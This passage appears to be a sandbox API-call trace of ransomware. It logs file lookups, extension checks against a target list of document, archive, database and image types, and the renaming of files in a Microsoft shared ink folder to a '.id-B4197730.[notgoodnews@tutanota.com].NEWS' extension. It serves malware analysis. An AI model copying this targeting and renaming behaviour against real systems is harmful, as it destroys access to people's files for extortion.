(lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0193.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0193.427] lstrlenW (lpString=".doc") returned 4 [0193.427] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0193.427] lstrlenW (lpString=".docx") returned 5 [0193.427] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0193.427] lstrlenW (lpString=".pdf") returned 4 [0193.427] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0193.427] lstrlenW (lpString=".xls") returned 4 [0193.427] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0193.427] lstrlenW (lpString=".xlsx") returned 5 [0193.427] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0193.427] lstrlenW (lpString=".ppt") returned 4 [0193.427] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0193.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0193.427] lstrlenW (lpString=".zip") returned 4 [0193.427] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0193.427] lstrlenW (lpString=".rar") returned 4 [0193.427] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0193.427] lstrlenW (lpString=".bz2") returned 4 [0193.427] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0193.428] lstrlenW (lpString=".7z") returned 3 [0193.428] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0193.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0193.428] lstrlenW (lpString=".dbf") returned 4 [0193.428] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0193.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0193.428] lstrlenW (lpString=".1cd") returned 4 [0193.428] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0193.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0193.428] lstrlenW (lpString=".jpg") returned 4 [0193.428] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0193.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0193.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0193.428] lstrlenW (lpString=".doc") returned 4 [0193.428] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0193.428] lstrlenW (lpString=".docx") returned 5 [0193.428] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0193.428] lstrlenW (lpString=".pdf") returned 4 [0193.428] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0193.428] lstrlenW (lpString=".xls") returned 4 [0193.428] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0193.428] lstrlenW (lpString=".xlsx") returned 5 [0193.428] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0193.428] lstrlenW (lpString=".ppt") returned 4 [0193.428] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0193.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0193.428] lstrlenW (lpString=".zip") returned 4 [0193.428] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0193.428] lstrlenW (lpString=".rar") returned 4 [0193.429] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0193.429] lstrlenW (lpString=".bz2") returned 4 [0193.429] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0193.429] lstrlenW (lpString=".7z") returned 3 [0193.429] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0193.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0193.429] lstrlenW (lpString=".dbf") returned 4 [0193.429] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0193.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0193.429] lstrlenW (lpString=".1cd") returned 4 [0193.429] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0193.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0193.429] lstrlenW (lpString=".jpg") returned 4 [0193.429] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0193.429] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0193.429] lstrlenW (lpString="boxed-delete.avi") returned 16 [0193.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0193.430] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2a8ff14 | out: lpFileSize=0x2a8ff14*=48936) returned 1 [0193.430] CloseHandle (hObject=0x2b4) returned 1 [0193.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0193.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0193.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0193.430] lstrlenW (lpString=".doc") returned 4 [0193.430] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0193.430] lstrlenW (lpString=".docx") returned 5 [0193.430] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0193.430] lstrlenW (lpString=".pdf") returned 4 [0193.430] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0193.430] lstrlenW (lpString=".xls") returned 4 [0193.430] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0193.431] lstrlenW (lpString=".xlsx") returned 5 [0193.431] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0193.431] lstrlenW (lpString=".ppt") returned 4 [0193.431] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0193.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0193.431] lstrlenW (lpString=".zip") returned 4 [0193.431] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0193.431] lstrlenW (lpString=".rar") returned 4 [0193.431] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0193.431] lstrlenW (lpString=".bz2") returned 4 [0193.431] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0193.431] lstrlenW (lpString=".7z") returned 3 [0193.431] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0193.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0193.431] lstrlenW (lpString=".dbf") returned 4 [0193.431] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0193.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0193.431] lstrlenW (lpString=".1cd") returned 4 [0193.431] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0193.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0193.431] lstrlenW (lpString=".jpg") returned 4 [0193.431] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0193.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0193.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0193.431] lstrlenW (lpString=".doc") returned 4 [0193.431] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0193.431] lstrlenW (lpString=".docx") returned 5 [0193.431] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0193.431] lstrlenW (lpString=".pdf") returned 4 [0193.432] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0193.432] lstrlenW (lpString=".xls") returned 4 [0193.432] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0193.432] lstrlenW (lpString=".xlsx") returned 5 [0193.432] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0193.432] lstrlenW (lpString=".ppt") returned 4 [0193.432] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0193.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0193.432] lstrlenW (lpString=".zip") returned 4 [0193.432] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0193.432] lstrlenW (lpString=".rar") returned 4 [0193.432] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0193.432] lstrlenW (lpString=".bz2") returned 4 [0193.432] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0193.432] lstrlenW (lpString=".7z") returned 3 [0193.432] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0193.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0193.432] lstrlenW (lpString=".dbf") returned 4 [0193.432] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0193.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0193.432] lstrlenW (lpString=".1cd") returned 4 [0193.432] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0193.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0193.432] lstrlenW (lpString=".jpg") returned 4 [0193.432] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0193.432] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0193.433] lstrlenW (lpString="boxed-join.avi") returned 14 [0193.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0193.433] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2a8ff14 | out: lpFileSize=0x2a8ff14*=46622) returned 1 [0193.433] CloseHandle (hObject=0x2b4) returned 1 [0193.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0193.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0193.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0193.434] lstrlenW (lpString=".doc") returned 4 [0193.434] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0193.434] lstrlenW (lpString=".docx") returned 5 [0193.434] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0193.434] lstrlenW (lpString=".pdf") returned 4 [0193.434] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0193.434] lstrlenW (lpString=".xls") returned 4 [0193.434] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0193.434] lstrlenW (lpString=".xlsx") returned 5 [0193.434] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0193.434] lstrlenW (lpString=".ppt") returned 4 [0193.434] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0193.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0193.434] lstrlenW (lpString=".zip") returned 4 [0193.434] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0193.434] lstrlenW (lpString=".rar") returned 4 [0193.434] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0193.434] lstrlenW (lpString=".bz2") returned 4 [0193.434] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0193.434] lstrlenW (lpString=".7z") returned 3 [0193.434] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0193.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0193.434] lstrlenW (lpString=".dbf") returned 4 [0193.434] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0193.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0193.434] lstrlenW (lpString=".1cd") returned 4 [0193.434] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0193.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0193.435] lstrlenW (lpString=".jpg") returned 4 [0193.435] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0193.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0193.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0193.435] lstrlenW (lpString=".doc") returned 4 [0193.435] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0193.435] lstrlenW (lpString=".docx") returned 5 [0193.435] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0193.435] lstrlenW (lpString=".pdf") returned 4 [0193.435] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0193.435] lstrlenW (lpString=".xls") returned 4 [0193.435] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0193.435] lstrlenW (lpString=".xlsx") returned 5 [0193.435] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0193.435] lstrlenW (lpString=".ppt") returned 4 [0193.435] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0193.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0193.435] lstrlenW (lpString=".zip") returned 4 [0193.435] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0193.435] lstrlenW (lpString=".rar") returned 4 [0193.435] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0193.435] lstrlenW (lpString=".bz2") returned 4 [0193.435] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0193.435] lstrlenW (lpString=".7z") returned 3 [0193.435] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0193.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0193.435] lstrlenW (lpString=".dbf") returned 4 [0193.435] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0193.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0193.436] lstrlenW (lpString=".1cd") returned 4 [0193.436] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0193.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0193.436] lstrlenW (lpString=".jpg") returned 4 [0193.436] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0193.436] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0193.436] lstrlenW (lpString="boxed-split.avi") returned 15 [0193.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0193.437] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2a8ff14 | out: lpFileSize=0x2a8ff14*=84190) returned 1 [0193.437] CloseHandle (hObject=0x2b4) returned 1 [0193.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0193.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0193.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0193.437] lstrlenW (lpString=".doc") returned 4 [0193.437] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0193.437] lstrlenW (lpString=".docx") returned 5 [0193.437] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0193.437] lstrlenW (lpString=".pdf") returned 4 [0193.437] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0193.437] lstrlenW (lpString=".xls") returned 4 [0193.437] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0193.437] lstrlenW (lpString=".xlsx") returned 5 [0193.437] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0193.437] lstrlenW (lpString=".ppt") returned 4 [0193.437] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0193.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0193.438] lstrlenW (lpString=".zip") returned 4 [0193.438] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0193.438] lstrlenW (lpString=".rar") returned 4 [0193.438] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0193.438] lstrlenW (lpString=".bz2") returned 4 [0193.438] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0193.438] lstrlenW (lpString=".7z") returned 3 [0193.438] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0193.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0193.438] lstrlenW (lpString=".dbf") returned 4 [0193.438] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0193.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0193.438] lstrlenW (lpString=".1cd") returned 4 [0193.438] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0193.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0193.438] lstrlenW (lpString=".jpg") returned 4 [0193.438] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0193.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0193.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0193.438] lstrlenW (lpString=".doc") returned 4 [0193.438] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0193.438] lstrlenW (lpString=".docx") returned 5 [0193.438] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0193.438] lstrlenW (lpString=".pdf") returned 4 [0193.438] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0193.438] lstrlenW (lpString=".xls") returned 4 [0193.438] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0193.438] lstrlenW (lpString=".xlsx") returned 5 [0193.439] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0193.439] lstrlenW (lpString=".ppt") returned 4 [0193.439] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0193.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0193.439] lstrlenW (lpString=".zip") returned 4 [0193.439] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0193.439] lstrlenW (lpString=".rar") returned 4 [0193.439] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0193.439] lstrlenW (lpString=".bz2") returned 4 [0193.439] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0193.439] lstrlenW (lpString=".7z") returned 3 [0193.439] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0193.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0193.439] lstrlenW (lpString=".dbf") returned 4 [0193.439] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0193.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0193.439] lstrlenW (lpString=".1cd") returned 4 [0193.439] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0193.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0193.439] lstrlenW (lpString=".jpg") returned 4 [0193.439] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0193.439] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0193.439] lstrlenW (lpString="correct.avi") returned 11 [0193.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0193.440] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2a8ff14 | out: lpFileSize=0x2a8ff14*=180172) returned 1 [0193.440] CloseHandle (hObject=0x2b4) returned 1 [0193.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0193.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0193.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0193.441] lstrlenW (lpString=".doc") returned 4 [0193.441] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0193.441] lstrlenW (lpString=".docx") returned 5 [0193.441] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0193.441] lstrlenW (lpString=".pdf") returned 4 [0193.441] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0193.441] lstrlenW (lpString=".xls") returned 4 [0193.441] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0193.441] lstrlenW (lpString=".xlsx") returned 5 [0193.441] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0193.441] lstrlenW (lpString=".ppt") returned 4 [0193.441] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0193.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0193.441] lstrlenW (lpString=".zip") returned 4 [0193.441] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0193.441] lstrlenW (lpString=".rar") returned 4 [0193.441] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0193.441] lstrlenW (lpString=".bz2") returned 4 [0193.441] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0193.441] lstrlenW (lpString=".7z") returned 3 [0193.441] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0193.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0193.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0193.462] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft 